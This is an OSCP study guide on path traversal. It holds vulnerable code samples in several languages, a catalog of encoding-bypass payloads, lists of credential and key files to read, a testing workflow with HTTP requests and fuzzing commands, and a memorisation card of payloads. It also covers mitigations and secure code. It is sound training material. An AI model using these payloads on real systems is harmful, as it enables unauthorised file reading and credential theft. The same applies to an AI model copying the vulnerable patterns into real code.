Path Traversal (Directory Traversal)
Path traversal, also known as directory traversal, is a web application vulnerability that allows an attacker to read (and sometimes write) files and directories stored outside the intended web root. By manipulating file path parameters with sequences like ../, the attacker can navigate the server’s filesystem hierarchy and access sensitive configuration files, credentials, source code, and system files.
This is one of the most frequently tested web vulnerabilities on the OSCP exam. Machines like Hackable, Templated, OpenNote, and Author have featured path traversal as a primary or secondary attack vector.
1. How Path Traversal Works
1.1 The Root Cause
Path traversal exploits the gap between how an application constructs a file path and how the operating system resolves it. The vulnerability exists when:
- The application accepts user input that influences a file path (filename, directory, template name, image path, etc.)
- The application concatenates this input with a base directory to form a full path
- The application fails to sanitize or validate the user input before passing it to filesystem operations
1.2 Vulnerable Code Patterns
PHP:
// Vulnerable: user controls $file directly
$file = $_GET['file'];
readfile("uploads/" . $file);
// Vulnerable: include with user input
include($_GET['page'] . '.php');
// Vulnerable: image display
$img = $_GET['img'];
header("Content-Type: image/jpeg");
readfile("/var/www/images/" . $img);
Python (Flask):
# Vulnerable: send_file with user input
@app.route('/download')
def download():
filename = request.args.get('name')
return send_file(f'/uploads/{filename}')
Java:
// Vulnerable: file path from request parameter
String filename = request.getParameter("report");
File f = new File("/reports/" + filename);
// reads file without validation
Node.js (Express):
// Vulnerable: path join without validation
app.get('/view', (req, res) => {
const file = req.query.file;
res.sendFile(path.join(__dirname, 'docs', file));
});
1.3 Path Resolution Mechanics
When the application constructs a path like:
Base: /var/www/html/uploads/
Input: ../../../../etc/passwd
Result: /var/www/html/uploads/../../../../etc/passwd
OS resolves to: /etc/passwd
Each ../ moves up one directory level. The OS filesystem resolves the canonical path, effectively escaping the intended base directory. The number of ../ sequences needed depends on how deep the base directory is nested.
2. Complete Encoding Bypass Catalog
Applications often implement filters that block literal ../ sequences. Attackers bypass these filters using various encoding schemes. The key insight: the filter may operate on the raw request string, but the web server or application framework decodes the string before filesystem resolution.
2.1 URL Encoding (Percent Encoding)
The most common bypass. Each character is replaced with % followed by its two-digit hexadecimal ASCII value.
| Character | URL Encoded | Notes |
|---|---|---|
. |
%2e |
Period |
/ |
%2f |
Forward slash |
\ |
%5c |
Backslash (Windows) |
% |
%25 |
Percent sign (for double encoding) |
Payloads:
%2e%2e%2f → ../
%2e%2e/ → ../
..%2f → ../
%2e%2e%5c → ..\ (Windows)
2.2 Double URL Encoding
The percent sign itself is encoded, creating a second layer. If the application performs two rounds of URL decoding (common in some frameworks), the double-encoded payload survives the first filter and resolves on the second decode.
%252e%252e%252f → First decode: %2e%2e%2f → Second decode: ../
%252e%252e%255c → First decode: %2e%2e%5c → Second decode: ..\
Full payload example:
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
2.3 UTF-8 Overlong Encoding
UTF-8 allows certain characters to be represented with more bytes than necessary (overlong encoding). These are non-canonical but may be accepted by decoders.
| Character | Normal UTF-8 | Overlong UTF-8 |
|---|---|---|
. (0x2E) |
%2e |
%c0%ae |
/ (0x2F) |
%2f |
%c0%af |
\ (0x5C) |
%5c |
%c0%9c |
Payloads:
%c0%ae%c0%ae%c0%af → ../
%c0%ae%c0%ae/ → ../
%c0%ae%c0%ae%c0%9c → ..\ (Windows)
2.4 UTF-16 Encoding
Characters are encoded as 16-bit values with a byte order mark (BOM).
| BOM Type | Encoding | Payload for .. |
|---|---|---|
| Big-endian | %fe%fe prefix |
%fe%fe%00%2e%00%2e |
| Little-endian | %ff%fe prefix |
%ff%fe%2e%00%2e%00 |
Full payloads:
%fe%fe%00%2e%00%2e%00/%00 → UTF-16 BE: ../
%ff%fe%2e%00%2e%00%2f%00 → UTF-16 LE: ../
2.5 Unicode and Alternative Encodings
| Encoding | Payload | Description |
|---|---|---|
| Unicode backslash | ..%5c |
Windows path separator |
| Unicode dot | %u002e%u002e%u002f |
Unicode escape sequence |
| Double-escaped Unicode | %25u002e%25u002e |
Double-encoded Unicode |
| ISO-8859-1 | %2e%2e%2f |
Same as URL encoding for ASCII range |
2.6 IIS-Specific Bypasses
Microsoft IIS historically accepted special Unicode paths:
..%c1%9c → IIS interprets as ..\
..%c0%af → IIS interprets as ../
2.7 Encoding Bypass Decision Matrix
Use this table to select encoding strategies based on observed filtering behavior:
| Filter Blocks | Try This Encoding | Reason |
|---|---|---|
Literal ../ |
%2e%2e%2f |
Single URL encoding |
%2e%2e%2f |
%252e%252e%252f |
Double URL encoding |
| Both above | %c0%ae%c0%ae%c0%af |
UTF-8 overlong |
Forward slash / |
%5c (backslash) |
Windows alternative separator |
Backslash \ |
%2f (forward slash) |
Linux alternative |
| All single encodings | %fe%fe%00%2e%00%2e |
UTF-16 encoding |
| Known patterns | Mix encodings | %2e%2e/%2e%2e%2f..%5c |
3. Sensitive File Targets
3.1 Linux System Files
Authentication and User Information
| File | What It Reveals | OSCP Value |
|---|---|---|
/etc/passwd |
User accounts, UIDs, shells, home directories | Critical - enumerate users for brute force |
/etc/shadow |
Password hashes (root-only) | High - crack hashes offline |
/etc/group |
Group memberships | Medium - identify privileged groups |
/etc/sudoers |
Sudo permissions | Critical - privilege escalation path |
/root/.ssh/authorized_keys |
SSH public keys | High - identify trusted hosts |
/root/.bash_history |
Root command history | Critical - find credentials, commands |
~/.bash_history |
User command history | High - find application credentials |
~/.ssh/id_rsa |
SSH private key | Critical - direct SSH access |
~/.ssh/id_ed25519 |
SSH private key (Ed25519) | Critical - direct SSH access |
~/.gnupg/gpg-agent-info |
GPG agent socket info | Medium |
Service Configuration
| File | What It Reveals | OSCP Value |
|---|---|---|
/etc/hosts |
Hostname-to-IP mappings | Medium - discover internal hosts |
/etc/resolv.conf |
DNS server configuration | Low - network info |
/etc/crontab |
Scheduled tasks | High - find automation scripts with creds |
/var/spool/cron/crontabs/root |
Root crontab | Critical - persistence + creds |
/etc/fstab |
Mounted filesystems | Medium - disk layout |
/etc/shells |
Valid login shells | Low |
/etc/mysql/my.cnf |
MySQL configuration | High - DB credentials |
/etc/postgresql/*/postgresql.conf |
PostgreSQL config | High - DB credentials |
/etc/redis/redis.conf |
Redis configuration | Medium |
Application and Web Server Configs
| File | What It Reveals | OSCP Value |
|---|---|---|
/var/www/html/.env |
Environment variables | Critical - DB creds, API keys |
/var/www/html/config.php |
PHP application config | Critical - DB creds, secrets |
/var/www/html/wp-config.php |
WordPress config | Critical - DB creds, salts |
/var/www/html/configuration.php |
Joomla config | High |
/var/www/html/config/database.yml |
Rails database config | Critical |
/var/www/html/src/main/resources/application.yml |
Spring Boot config | Critical |
/etc/apache2/apache2.conf |
Apache configuration | Medium - virtual hosts, paths |
/etc/apache2/sites-enabled/* |
Apache virtual hosts | High - discover hidden apps |
/etc/nginx/nginx.conf |
Nginx configuration | Medium |
/etc/nginx/sites-enabled/* |
Nginx virtual hosts | High |
Logs and Runtime Information
| File | What It Reveals | OSCP Value |
|---|---|---|
/proc/self/environ |
Process environment variables | Critical - may contain creds |
/proc/version |
Kernel version | Medium - kernel exploit research |
/proc/self/cmdline |
Current process command line | High - running process info |
/proc/self/status |
Process status details | Medium |
/proc/self/fd/0 |
File descriptor 0 (stdin) | Medium |
/var/log/auth.log |
Authentication logs | High - successful logins |
/var/log/syslog |
System logs | Medium |
/var/log/apache2/access.log |
Apache access logs | Medium - URL patterns |
/var/log/apache2/error.log |
Apache error logs | High - stack traces, paths |
/var/log/nginx/access.log |
Nginx access logs | Medium |
/var/log/mysql/error.log |
MySQL error logs | Medium |
3.2 Windows System Files
System Configuration
| File | What It Reveals | OSCP Value |
|---|---|---|
C:\Windows\win.ini |
Windows configuration | Proof of traversal |
C:\Windows\System32\drivers\etc\hosts |
Host mappings | Discover internal hosts |
C:\Windows\System32\inetsrv\config\applicationHost.config |
IIS config | Critical - app pool identities, creds |
C:\boot.ini |
Boot configuration (older Windows) | OS version info |
C:\Windows\win.ini |
Basic Windows config | Proof of concept |
C:\Windows\Panther\Unattend.xml |
Unattended install config | Critical - may contain admin password |
C:\Windows\Panther\Unattend\Unattend.xml |
Unattended install config | Critical |
C:\Windows\System32\config\SAM |
SAM database (requires SYSTEM) | Password hashes |
C:\Windows\System32\config\SYSTEM |
Registry SYSTEM hive | Boot keys for SAM |
User Files
| File | What It Reveals | OSCP Value |
|---|---|---|
C:\Users\<user>\NTUSER.DAT |
User registry hive | Stored credentials |
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |
PowerShell history | Critical - commands with creds |
C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\ |
IE cache | Cached credentials |
C:\Users\<user>\Desktop\ |
Desktop files | May contain sensitive docs |
Application Configuration
| File | What It Reveals | OSCP Value |
|---|---|---|
web.config |
ASP.NET application config | Critical - connection strings, keys |
C:\inetpub\wwwroot\web.config |
Default IIS web config | Connection strings |
application.yml |
Java/Spring config | DB credentials |
appsettings.json |
.NET Core config | API keys, secrets |
.env |
Environment variables | Critical - all secrets |
3.3 Cross-Platform Application Files
These files appear on both Linux and Windows and are high-value OSCP targets:
| File | Framework/Platform | What It Reveals |
|---|---|---|
.env |
Any (Node, PHP, Python, Ruby) | Database URLs, API keys, JWT secrets |
.git/config |
Git repositories | Remote URLs, user identity |
.git/HEAD |
Git repositories | Current branch reference |
composer.json |
PHP (Composer) | Dependencies, scripts |
package.json |
Node.js | Dependencies, scripts |
requirements.txt |
Python | Dependencies |
Dockerfile |
Docker | Build instructions, exposed ports |
.dockerignore |
Docker | Ignored files (may reveal secrets) |
ansible.cfg |
Ansible | Configuration, vault settings |
.aws/credentials |
AWS CLI | AWS access keys |
.kube/config |
Kubernetes | Cluster credentials |
4. Null Byte Traversal
4.1 The Technique
Null byte truncation (%00) exploits how certain languages and libraries handle string termination. In C-based languages (and PHP < 5.3.4), the null byte (\0, ASCII 0x00) terminates a string. This allows an attacker to truncate a file extension appended by the application.
How it works:
Application code: readfile($user_input . ".jpg");
Attacker input: ../../etc/passwd%00
Result in memory: ../../etc/passwd\0.jpg
OS sees: ../../etc/passwd (string terminated at \0)
The .jpg extension is effectively dropped because the null byte terminates the string before the extension is processed by the filesystem API.
4.2 Version Dependencies
| Technology | Vulnerable Versions | Patched In |
|---|---|---|
| PHP | < 5.3.4 | 5.3.4+ (null bytes stripped from filenames) |
| PHP (magic_quotes_gpc) | Any (if enabled, blocks null bytes) | N/A - deprecated |
| Python | N/A (Python strings don’t null-terminate) | N/A |
| Java | N/A (Java strings don’t null-terminate) | N/A |
| C/C++ | All (inherent to language) | Requires manual fix |
| Node.js | < 0.10.15 (some bindings) | 0.10.15+ |
4.3 Null Byte Payloads
../../../../etc/passwd%00
../../../../etc/passwd%00.jpg
..\..\..\..\windows\win.ini%00
..\..\..\..\windows\win.ini%00.png
4.4 When to Try Null Bytes
Use null byte truncation when:
- The application appends a file extension to user input
- Basic traversal returns “file not found” or “invalid file type”
- The target runs PHP < 5.3.4 (common on older OSCP machines)
- Error messages suggest the full path includes an unexpected extension
5. Path Traversal vs. Local File Inclusion (LFI)
While both vulnerabilities involve reading local files, they have distinct characteristics:
5.1 Key Differences
| Aspect | Path Traversal | Local File Inclusion (LFI) |
|---|---|---|
| Mechanism | File read operations (readfile, send_file, open) |
Code inclusion (include, require, require_once) |
| Primary Impact | Information disclosure | Information disclosure + Remote Code Execution |
| Code Execution | No (read-only) | Yes (included file executes as code) |
| PHP Wrappers | Limited usefulness | Critical (php://filter, php://input, data://) |
| Log Poisoning | Not applicable | Primary RCE vector |
| Typical Parameters | file=, path=, document=, image=, template= |
page=, file=, include=, module=, lang= |
5.2 The Overlap
In practice, the same traversal techniques (../, encoding bypasses, null bytes) apply to both. The distinction matters for:
- Impact assessment: LFI can lead to RCE; path traversal is typically read-only
- Payload selection: LFI allows PHP wrapper payloads; path traversal does not
- Exploitation strategy: LFI enables log poisoning chains; path traversal focuses on credential harvesting
5.3 When Path Traversal Becomes LFI
If you discover a path traversal vulnerability and the underlying function is include() or require() rather than readfile() or file_get_contents(), you have effectively found an LFI. Always test for LFI escalation after confirming path traversal:
# Test if inclusion executes code
?page=php://filter/convert.base64-encode/resource=config
# If base64-encoded PHP source is returned, it's LFI
# If nothing happens or you get an error, it's likely just path traversal
6. Systematic Testing Methodology
6.1 Phase 1: Reconnaissance
Step 1: Identify file-handling parameters
Look for parameters that reference files, paths, or documents:
Common parameter names:
- file, path, document, page, include, module
- image, img, pic, photo, picture
- template, tpl, theme, skin, style
- download, export, import, load
- view, read, open, display, show
- config, conf, setting, setup
- lang, language, locale
- dir, folder, directory, destination
- name, filename, fname, source
Step 2: Determine the base path
Send a normal request and observe the response to understand the expected file location:
GET /api/download?file=report.pdf HTTP/1.1
If the response is a PDF, the application is reading from a known directory. Note the response behavior for valid vs. invalid files.
6.2 Phase 2: Basic Traversal Testing
Step 3: Test with increasing traversal depth
GET /api/download?file=../report.pdf
GET /api/download?file=../../report.pdf
GET /api/download?file=../../../report.pdf
GET /api/download?file=../../../../report.pdf
GET /api/download?file=../../../../etc/passwd
Step 4: Analyze responses
| Response | Meaning | Next Action |
|---|---|---|
| File content returned | Vulnerable | Proceed to Phase 3 |
| “File not found” with path in error | Likely vulnerable, adjust depth | Try more/fewer ../ |
| “File not found” generic | May be vulnerable, no info leak | Try encoding bypasses |
| “Access denied” / “Forbidden” | Filter in place | Try encoding bypasses |
| Same as normal request | Input ignored | Try different parameters |
| Server error (500) | Possible vulnerability | Try different payloads |
6.3 Phase 3: Encoding Bypass Testing
If basic traversal fails, systematically try encoding bypasses:
# URL encoding
GET /api/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Double URL encoding
GET /api/download?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd
# UTF-8 overlong
GET /api/download?file=%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Mixed encoding
GET /api/download?file=..%2f..%2f..%2f..%2fetc/passwd
# Backslash (Windows)
GET /api/download?file=..%5c..%5c..%5c..%5cwindows%5cwin.ini
# Null byte truncation
GET /api/download?file=../../../../etc/passwd%00
6.4 Phase 4: Target Enumeration
Once traversal works, systematically read high-value files:
# Linux - start with /etc/passwd for user enumeration
../../../../etc/passwd
# Look for application configs
../../../../var/www/html/.env
../../../../var/www/html/config.php
../../../../var/www/html/wp-config.php
# Check for credentials in logs
../../../../var/log/auth.log
../../../../var/log/apache2/error.log
# Check process environment
../../../../proc/self/environ
# Check for SSH keys
../../../../root/.ssh/authorized_keys
../../../../home/<user>/.ssh/id_rsa
6.5 Phase 5: Decision Tree
┌─────────────────────┐
│ Found file param? │
└─────────┬───────────┘
│ Yes
┌─────────▼───────────┐
│ Try ../ traversal │
└─────────┬───────────┘
┌─────────┴───────────┐
│ │
Returned Blocked/Error
content? │
┌─────────▼───────────┐
│ Try URL encoding │
│ (%2e%2e%2f) │
└─────────┬───────────┘
┌─────────┴───────────┐
│ │
Worked? Still blocked?
│ │
│ ┌──────▼───────┐
│ │ Try double │
│ │ URL encoding │
│ └──────┬───────┘
│ ┌──────┴───────┐
│ │ │
│ Worked? Still blocked?
│ │ │
│ │ ┌────▼─────┐
│ │ │ Try UTF-8 │
│ │ │ overlong │
│ │ └────┬─────┘
│ │ ┌────┴─────┐
│ │ │ │
│ │ Worked? Still blocked?
│ │ │ │
│ │ │ ┌───▼────┐
│ │ │ │ Try │
│ │ │ │ null │
│ │ │ │ byte │
│ │ │ └───┬────┘
│ │ │ ┌───┴────┐
│ │ │ │ │
│ │ │ Worked Exhausted
│ │ │ │ │
└──────────────┴─────────┴─────────┴──────┘
│
┌─────────▼───────────┐
│ Read sensitive │
│ files, harvest │
│ credentials │
└─────────────────────┘
7. Automated Tools and Manual Testing
7.1 Burp Suite
Manual Testing:
- Intercept a request with a file parameter
- Send to Repeater
- Iterate through traversal payloads
- Compare responses for file content vs. errors
Active Scanner:
- Burp’s scanner automatically tests for path traversal
- Look for “Path traversal” findings in the Issues panel
- Severity: High or Medium depending on impact
Collaborator Integration:
- For blind path traversal, use Burp Collaborator payloads
- Useful when file contents are not reflected in responses
7.2 Traversal Specific Tools
| Tool | Purpose | Command Example |
|---|---|---|
dirb |
Directory/file brute force | dirb http://target.com/ -X .php,.txt,.conf |
gobuster |
Directory/file enumeration | gobuster dir -u http://target.com/ -w /path/to/wordlist |
ffuf |
Fast fuzzing | ffuf -u http://target.com/FUZZ -w traversal.txt |
wfuzz |
Web fuzzer | wfuzz -c -z file,traversal.txt -u http://target.com/?file=FUZZ |
7.3 Custom Wordlists
Create a traversal-specific wordlist for automated testing:
# traversal-payloads.txt
../
../../
../../../
../../../../
../../../../etc/passwd
../../../../etc/shadow
%2e%2e%2f
%2e%2e/
..%2f
%252e%252e%252f
%c0%ae%c0%ae/
..%5c
..\
....//
..../
..%255c..%255c
../../../../proc/self/environ
../../../../var/www/html/.env
../../../../var/www/html/config.php
../../../../root/.ssh/authorized_keys
7.4 Nmap Scripts
# Nmap http-traversals script
nmap --script http-traversals -p 80,443,8080 <target>
# Nmap http-enum for directory discovery
nmap --script http-enum -p 80,443,8080 <target>
7.5 Manual Testing Checklist
Use this checklist during OSCP exam to ensure thorough coverage:
- Identify all file-related parameters (GET, POST, headers)
- Test basic
../traversal with increasing depth - Test URL-encoded traversal (
%2e%2e%2f) - Test double URL encoding (
%252e%252e%252f) - Test UTF-8 overlong encoding (
%c0%ae%c0%ae/) - Test backslash traversal (
..%5c) for Windows targets - Test null byte truncation (
%00) - Test mixed encoding combinations
- Read
/etc/passwdorC:\Windows\win.inifor proof - Read application config files (
.env,config.php,web.config) - Read log files for credentials
- Read
/proc/self/environfor environment variables - Check if traversal leads to LFI (test PHP wrappers)
- Document all findings and extracted credentials
8. OSCP Exam Patterns and Scenarios
8.1 Common OSCP Path Traversal Scenarios
Scenario 1: Image/Document Viewer
A web application displays images or documents based on a URL parameter. The parameter is passed directly to a file read function.
GET /view.php?image=../../../../../etc/passwd
Typical machines: Hackable, Templated
Scenario 2: Download Functionality
A download endpoint accepts a filename parameter. The application prepends a directory path but does not validate the filename.
GET /download?file=../../../../../../etc/shadow
Typical machines: OpenNote
Scenario 3: Template/Theme Selection
A CMS or web app allows selecting templates or themes. The template name is used in an include or file read operation.
GET /index.php?template=../../../../../../etc/passwd
Scenario 4: Language/Locale Switching
An application loads language files based on a lang parameter. The language code is concatenated into a file path.
GET /app.php?lang=../../../../../../etc/passwd
Scenario 5: Error Page Information Disclosure
When a traversal attempt fails, the error message reveals the full file path, helping determine the correct number of ../ sequences needed.
Error: File not found: /var/www/html/uploads/../../../../etc/passwd
This tells you the base path is /var/www/html/uploads/, so you need exactly the right number of traversals.
8.2 OSCP-Specific Tips
-
Always start with
/etc/passwdon Linux targets. It’s world-readable and confirms the vulnerability immediately. -
Count directory levels carefully. Use error messages to determine the base path depth. If the error shows
/var/www/html/uploads/images/, you need at least 4../to reach root. -
Check
.envfiles early. Modern applications (Django, Rails, Node.js, Laravel) store database credentials, API keys, and JWT secrets in.envfiles. This is often the fastest path to credentials. -
Read
/proc/self/environon Linux. This file contains the environment variables of the web server process, which may include database passwords, API keys, and internal service URLs. -
Look for PHP wrapper payloads if basic traversal works. If the underlying function is
include()rather thanreadfile(), you can escalate to RCE:?page=php://filter/convert.base64-encode/resource=config -
Windows targets: Try both forward slash and backslash separators. Also check
C:\inetpub\wwwroot\web.configfor ASP.NET connection strings. -
Null bytes work on older machines. OSCP lab machines sometimes run older software. Always try
%00truncation if the app appends extensions. -
Combine with other techniques. Path traversal often feeds into other attack chains:
- Read credentials → SSH login
- Read config → discover internal services
- Read source code → find additional vulnerabilities
- Read crontab → understand automation for privilege escalation
8.3 Common OSCP File Paths to Memorize
# Linux - must know
/etc/passwd
/etc/shadow
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.php
/proc/self/environ
/root/.ssh/authorized_keys
/root/.bash_history
# Windows - must know
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\Windows\Panther\Unattend.xml
9. Mitigation Strategies
9.1 Defense-in-Depth Approach
| Strategy | Implementation | Effectiveness |
|---|---|---|
| Canonicalize paths | Resolve to absolute path, verify it starts with allowed base | High |
| Whitelist filenames | Only allow specific, known filenames | Highest |
| Chroot jail | Restrict the process to a subdirectory tree | High |
| Remove base directory prefix | Strip the known base path from resolved path | Medium |
| Use file IDs | Map numeric IDs to files; never use user-supplied paths | Highest |
| Input validation | Reject .., /, \, and all encoded variants |
Medium (encoding bypasses possible) |
| Allowlist characters | Only allow alphanumeric, dots, hyphens in filenames | High |
9.2 Secure Code Examples
PHP (secure):
// Use a whitelist approach
$allowed_files = ['report.pdf', 'summary.pdf', 'data.csv'];
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
$path = '/var/www/documents/' . $file;
readfile($path);
} else {
http_response_code(403);
echo "File not found";
}
Python (secure):
import os
def serve_file(filename):
base_dir = '/var/www/documents'
# Resolve to absolute path
safe_path = os.path.realpath(os.path.join(base_dir, filename))
# Verify it's still under base_dir
if not safe_path.startswith(os.path.realpath(base_dir)):
raise ValueError("Access denied")
return send_file(safe_path)
Java (secure):
String baseDir = "/var/www/documents";
String filename = request.getParameter("file");
Path basePath = Paths.get(baseDir).toRealPath();
Path requestedPath = basePath.resolve(filename).normalize().toRealPath();
if (!requestedPath.startsWith(basePath)) {
throw new SecurityException("Path traversal attempt detected");
}
10. Quick Reference Card
Essential Payloads (Memorize for Exam)
# Basic traversal
../../../../etc/passwd
../../../../../../etc/passwd
# URL encoded
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Double URL encoded
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
# UTF-8 overlong
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
# Windows
..%5c..%5c..%5c..%5cwindows%5cwin.ini
# Null byte truncation
../../../../etc/passwd%00
# Mixed encoding
..%2f..%2f..%2f..%2fetc/passwd
High-Value Target Files (Priority Order)
.envfiles (any location)/etc/passwd(Linux user enumeration)- Application config files (
config.php,web.config,application.yml) /proc/self/environ(environment variables)- SSH keys (
~/.ssh/id_rsa,~/.ssh/authorized_keys) - Bash history (
~/.bash_history) - Database configs (
wp-config.php,my.cnf) - Log files (may contain credentials or useful paths)
Testing Order (Exam Efficiency)
- Basic
../→ if works, go to step 4 - URL encoded
%2e%2e%2f→ if works, go to step 4 - Double encoded
%252e%252e%252f→ if works, go to step 4 - Read
/etc/passwdorwin.inifor proof - Read
.envand config files for credentials - Read
/proc/self/environfor hidden secrets - Check if LFI (test PHP wrappers)
- Use harvested credentials for next attack phase